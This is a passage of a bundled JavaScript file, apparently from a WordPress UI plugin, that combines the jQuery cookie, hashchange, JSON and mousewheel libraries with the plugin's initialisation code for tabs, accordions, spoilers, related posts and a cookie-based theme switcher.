options.domain ? '; domain=' + options.domain : '',
options.secure ? '; secure' : ''
].join(''));
}
// key and possibly options given, get cookie...
options = value || {};
var result, decode = options.raw ? function (s) { return s; } : decodeURIComponent;
return (result = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? decode(result[1]) : null;
};
/*
* jQuery hashchange event - v1.3 - 7/21/2010
* http://benalman.com/projects/jquery-hashchange-plugin/
*
* Copyright (c) 2010 "Cowboy" Ben Alman
* Dual licensed under the MIT and GPL licenses.
* http://benalman.com/about/license/
*/
(function($,e,b){var c="hashchange",h=document,f,g=$.event.special,i=h.documentMode,d="on"+c in e&&(i===b||i>7);function a(j){j=j||location.href;return"#"+j.replace(/^[^#]*#?(.*)$/,"$1")}$.fn[c]=function(j){return j?this.bind(c,j):this.trigger(c)};$.fn[c].delay=50;g[c]=$.extend(g[c],{setup:function(){if(d){return false}$(f.start)},teardown:function(){if(d){return false}$(f.stop)}});f=(function(){var j={},p,m=a(),k=function(q){return q},l=k,o=k;j.start=function(){p||n()};j.stop=function(){p&&clearTimeout(p);p=b};function n(){var r=a(),q=o(m);if(r!==m){l(m=r,q);$(e).trigger(c)}else{if(q!==m){location.href=location.href.replace(/#.*/,"")+q}}p=setTimeout(n,$.fn[c].delay)}$.browser.msie&&!d&&(function(){var q,r;j.start=function(){if(!q){r=$.fn[c].src;r=r&&r+a();q=$('<iframe tabindex="-1" title="empty"/>').hide().one("load",function(){r||l(a());n()}).attr("src",r||"javascript:0").insertAfter("body")[0].contentWindow;h.onpropertychange=function(){try{if(event.propertyName==="title"){q.document.title=h.title}}catch(s){}}}};j.stop=k;o=function(){return a(q.location.href)};l=function(v,s){var u=q.document,t=$.fn[c].domain;if(v!==s){u.title=h.title;u.open();t&&u.write('<script>document.domain="'+t+'"<\/script>');u.close();q.location.hash=v}}})();return j})()})(jQuery,this);
/*
* JSON Library
* https://github.com/douglascrockford/JSON-js/blob/master/json2.js
*/
var JSON;if(!JSON){JSON={};}
(function(){"use strict";function f(n){return n<10?'0'+n:n;}
if(typeof Date.prototype.toJSON!=='function'){Date.prototype.toJSON=function(key){return isFinite(this.valueOf())?this.getUTCFullYear()+'-'+
f(this.getUTCMonth()+1)+'-'+
f(this.getUTCDate())+'T'+
f(this.getUTCHours())+':'+
f(this.getUTCMinutes())+':'+
f(this.getUTCSeconds())+'Z':null;};String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(key){return this.valueOf();};}
var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={'\b':'\\b','\t':'\\t','\n':'\\n','\f':'\\f','\r':'\\r','"':'\\"','\\':'\\\\'},rep;function quote(string){escapable.lastIndex=0;return escapable.test(string)?'"'+string.replace(escapable,function(a){var c=meta[a];return typeof c==='string'?c:'\\u'+('0000'+a.charCodeAt(0).toString(16)).slice(-4);})+'"':'"'+string+'"';}
function str(key,holder){var i,k,v,length,mind=gap,partial,value=holder[key];if(value&&typeof value==='object'&&typeof value.toJSON==='function'){value=value.toJSON(key);}
if(typeof rep==='function'){value=rep.call(holder,key,value);}
switch(typeof value){case'string':return quote(value);case'number':return isFinite(value)?String(value):'null';case'boolean':case'null':return String(value);case'object':if(!value){return'null';}
gap+=indent;partial=[];if(Object.prototype.toString.apply(value)==='[object Array]'){length=value.length;for(i=0;i<length;i+=1){partial[i]=str(i,value)||'null';}
v=partial.length===0?'[]':gap?'[\n'+gap+partial.join(',\n'+gap)+'\n'+mind+']':'['+partial.join(',')+']';gap=mind;return v;}
if(rep&&typeof rep==='object'){length=rep.length;for(i=0;i<length;i+=1){if(typeof rep[i]==='string'){k=rep[i];v=str(k,value);if(v){partial.push(quote(k)+(gap?': ':':')+v);}}}}else{for(k in value){if(Object.prototype.hasOwnProperty.call(value,k)){v=str(k,value);if(v){partial.push(quote(k)+(gap?': ':':')+v);}}}}
v=partial.length===0?'{}':gap?'{\n'+gap+partial.join(',\n'+gap)+'\n'+mind+'}':'{'+partial.join(',')+'}';gap=mind;return v;}}
if(typeof JSON.stringify!=='function'){JSON.stringify=function(value,replacer,space){var i;gap='';indent='';if(typeof space==='number'){for(i=0;i<space;i+=1){indent+=' ';}}else if(typeof space==='string'){indent=space;}
rep=replacer;if(replacer&&typeof replacer!=='function'&&(typeof replacer!=='object'||typeof replacer.length!=='number')){throw new Error('JSON.stringify');}
return str('',{'':value});};}
if(typeof JSON.parse!=='function'){JSON.parse=function(text,reviver){var j;function walk(holder,key){var k,v,value=holder[key];if(value&&typeof value==='object'){for(k in value){if(Object.prototype.hasOwnProperty.call(value,k)){v=walk(value,k);if(v!==undefined){value[k]=v;}else{delete value[k];}}}}
return reviver.call(holder,key,value);}
text=String(text);cx.lastIndex=0;if(cx.test(text)){text=text.replace(cx,function(a){return'\\u'+
('0000'+a.charCodeAt(0).toString(16)).slice(-4);});}
if(/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,'@').replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,']').replace(/(?:^|:|,)(?:\s*\[)+/g,''))){j=eval('('+text+')');return typeof reviver==='function'?walk({'':j},''):j;}
throw new SyntaxError('JSON.parse');};}}());
/*
* jQuery hashchange event - v1.3 - 7/21/2010
* http://benalman.com/projects/jquery-hashchange-plugin/
*
* Copyright (c) 2010 "Cowboy" Ben Alman
* Dual licensed under the MIT and GPL licenses.
* http://benalman.com/about/license/
*/
(function($,e,b){var c="hashchange",h=document,f,g=$.event.special,i=h.documentMode,d="on"+c in e&&(i===b||i>7);function a(j){j=j||location.href;return"#"+j.replace(/^[^#]*#?(.*)$/,"$1")}$.fn[c]=function(j){return j?this.bind(c,j):this.trigger(c)};$.fn[c].delay=50;g[c]=$.extend(g[c],{setup:function(){if(d){return false}$(f.start)},teardown:function(){if(d){return false}$(f.stop)}});f=(function(){var j={},p,m=a(),k=function(q){return q},l=k,o=k;j.start=function(){p||n()};j.stop=function(){p&&clearTimeout(p);p=b};function n(){var r=a(),q=o(m);if(r!==m){l(m=r,q);$(e).trigger(c)}else{if(q!==m){location.href=location.href.replace(/#.*/,"")+q}}p=setTimeout(n,$.fn[c].delay)}$.browser.msie&&!d&&(function(){var q,r;j.start=function(){if(!q){r=$.fn[c].src;r=r&&r+a();q=$('<iframe tabindex="-1" title="empty"/>').hide().one("load",function(){r||l(a());n()}).attr("src",r||"javascript:0").insertAfter("body")[0].contentWindow;h.onpropertychange=function(){try{if(event.propertyName==="title"){q.document.title=h.title}}catch(s){}}}};j.stop=k;o=function(){return a(q.location.href)};l=function(v,s){var u=q.document,t=$.fn[c].domain;if(v!==s){u.title=h.title;u.open();t&&u.write('<script>document.domain="'+t+'"<\/script>');u.close();q.location.hash=v}}})();return j})()})(jQuery,this);
/* Copyright (c) 2009 Brandon Aaron (http://brandonaaron.net)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
* Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.
* Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.
*
* Version: 3.0.2
*
* Requires: 1.2.2+
*/
(function(c){var a=["DOMMouseScroll","mousewheel"];c.event.special.mousewheel={setup:function(){if(this.addEventListener){for(var d=a.length;d;){this.addEventListener(a[--d],b,false)}}else{this.onmousewheel=b}},teardown:function(){if(this.removeEventListener){for(var d=a.length;d;){this.removeEventListener(a[--d],b,false)}}else{this.onmousewheel=null}}};c.fn.extend({mousewheel:function(d){return d?this.bind("mousewheel",d):this.trigger("mousewheel")},unmousewheel:function(d){return this.unbind("mousewheel",d)}});function b(f){var d=[].slice.call(arguments,1),g=0,e=true;f=c.event.fix(f||window.event);f.type="mousewheel";if(f.wheelDelta){g=f.wheelDelta/120}if(f.detail){g=-f.detail/3}d.unshift(f,g);return c.event.handle.apply(this,d)}})(jQuery);
/**
* Init the scripts.
*/
jQuery(document).ready(function( $ ) {
if ( typeof wpUIOpts == 'object' ) {
if ( wpUIOpts.enablePagination == 'on' )
jQuery( 'div.wpui-pages-holder' ).wpuiPager();
if ( wpUIOpts.enableTabs == 'on')
jQuery('div.wp-tabs').wptabs();
if ( wpUIOpts.enableSpoilers == 'on' )
jQuery('.wp-spoiler').wpspoiler();
if ( wpUIOpts.enableAccordion == 'on')
jQuery('.wp-accordion').wpaccord();
// if ( wpUIOpts.enableDialogs == 'on' )
// jQuery('.wp-dialog').wpDialog();
}
jQuery( "ul.wpui-related-posts" ).each(function() {
allWidth = jQuery( this ).children( 'li' ).outerWidth() - jQuery( this ).children('li').width();
if ( jQuery( this ).hasClass( 'wpui-per_3' ) ) {
liWidth = ( jQuery( this ).innerWidth() / 3 ) - allWidth;
} else if ( jQuery( this ).hasClass( 'wpui-per_4' ) ) {
liWidth = ( jQuery( this ).innerWidth() / 4 ) - allWidth;
} else if ( jQuery( this ).hasClass( 'wpui-per_2' ) ) {
liWidth = ( jQuery( this ).innerWidth() / 2 ) - allWidth;
}
if ( typeof( liWidth ) != 'undefined' )
jQuery( this ).children( 'li' ).width( liWidth - 1 );
if ( jQuery( this ).hasClass( 'wpui-per_2' ) ) {
jQuery( this ).children( 'li' ).find( '.wpui-rel-post-meta' ).width( liWidth - 120 );
}
// var soHgt = 0;
// jQuery( this ).children( 'li' ).each(function() {
// soHgt = Math.max( soHgt, jQuery( this ).height());
// }).height( soHgt );
});
});
jQuery.fn.tabsThemeSwitcher = function(classArr) {
return this.each(function() {
var $this = jQuery(this);
$this.prepend('<div class="selector_tab_style">Switch Theme : <select id="tabs_theme_select" /></div>');
for( i=0; i< classArr.length; i++) {
jQuery('#tabs_theme_select', this).append('<option value="' + classArr[i] + '">' + classArr[i] + '</option');
} // END for loop.
if ( jQuery.cookie && jQuery.cookie('tab_demo_style') != null ) {
currentVal = jQuery.cookie('tab_demo_style');
$this.find('select#tabs_theme_select option').each(function() {
if ( currentVal == jQuery(this).attr("value") ) {
jQuery(this).attr( 'selected', 'selected' );
}
});
} else {
currentVal = classArr[0];
} // END cookie value check.
$this.children('.wp-tabs').attr('class', 'wp-tabs wpui-styles').addClass(currentVal, 500);
$this.children('.wp-accordion').attr('class', 'wp-accordion wpui-styles').addClass(currentVal, 500);
$this.children('.wp-spoiler').attr('class', 'wp-spoiler wpui-styles').addClass(currentVal, 500);
jQuery('#tabs_theme_select').change(function(e) {
newVal = jQuery(this).val();
$this.children('.wp-tabs, .wp-accordion, .wp-spoiler').switchClass(currentVal, newVal, 1500);
currentVal = newVal;
if ( jQuery.cookie ) jQuery.cookie('tab_demo_style', newVal, { expires : 2 });
}); // END on select box change.
}); // END each function.
};
//
// var tb_remove = function() {
// // console.log( "Thickbox close fix" );
// jQuery("#TB_imageOff").unbind("click");
// jQuery("#TB_closeWindowButton").unbind("click");
// jQuery("#TB_window")
// .fadeOut("fast",function(){
// jQuery('#TB_window,#TB_overlay,#TB_HideSelect')
// .unload("#TB_ajaxContent")
// .unbind()
// .remove();
// });
// jQuery("#TB_load").remove();
// if (typeof document.body.style.maxHeight == "undefined") {//if IE 6
// jQuery("body","html").css({height: "auto", width: "auto"});
// jQuery("html").css("overflow","");
// }
// jQuery(document).unbind('.thickbox');
// return false;
// } // END function tb_remove()